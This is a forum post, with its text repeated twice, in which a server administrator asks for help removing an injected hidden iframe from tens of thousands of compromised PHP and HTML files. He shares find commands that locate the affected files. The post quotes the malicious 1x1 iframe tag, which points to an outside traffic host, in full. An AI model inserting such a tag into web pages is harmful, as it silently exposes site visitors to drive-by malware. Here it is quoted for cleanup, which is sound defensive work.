Hello!
Somehow on Aug 21 some hacker was able to compromise one of our servers and placed the following tag at the end of the page on tens of thousands of php and html documents both inside and outside of the /home directory.
<iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"></iframe>
Since all the files that where affected where changed on the same day I was able with the following commands to get lists of affected documents on the server.
find / -perm 766 -exec ls -al {} \; | grep "Aug 21" > files766.txt
find / -perm 666 -exec ls -al {} \; | grep "Aug 21" > files666.txt
find / -perm 777 -exec ls -al {} \; | grep "Aug 21" > files777.txt
The above comand makes a text file with a list of all documents changed on that day and with certain permissions set and places in in the directory from where you ran the comand.
However now I am looking for help to find out if someone knows a command that will delete the line from all affected documents without me having to spend a month doing it manually.
If anyone can help it would be greatly appreciated.
Thanks
Harold
Somehow on Aug 21 some hacker was able to compromise one of our servers and placed the following tag at the end of the page on tens of thousands of php and html documents both inside and outside of the /home directory.
<iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"></iframe>
Since all the files that where affected where changed on the same day I was able with the following commands to get lists of affected documents on the server.
find / -perm 766 -exec ls -al {} \; | grep "Aug 21" > files766.txt
find / -perm 666 -exec ls -al {} \; | grep "Aug 21" > files666.txt
find / -perm 777 -exec ls -al {} \; | grep "Aug 21" > files777.txt
The above comand makes a text file with a list of all documents changed on that day and with certain permissions set and places in in the directory from where you ran the comand.
However now I am looking for help to find out if someone knows a command that will delete the line from all affected documents without me having to spend a month doing it manually.
If anyone can help it would be greatly appreciated.
Thanks
Harold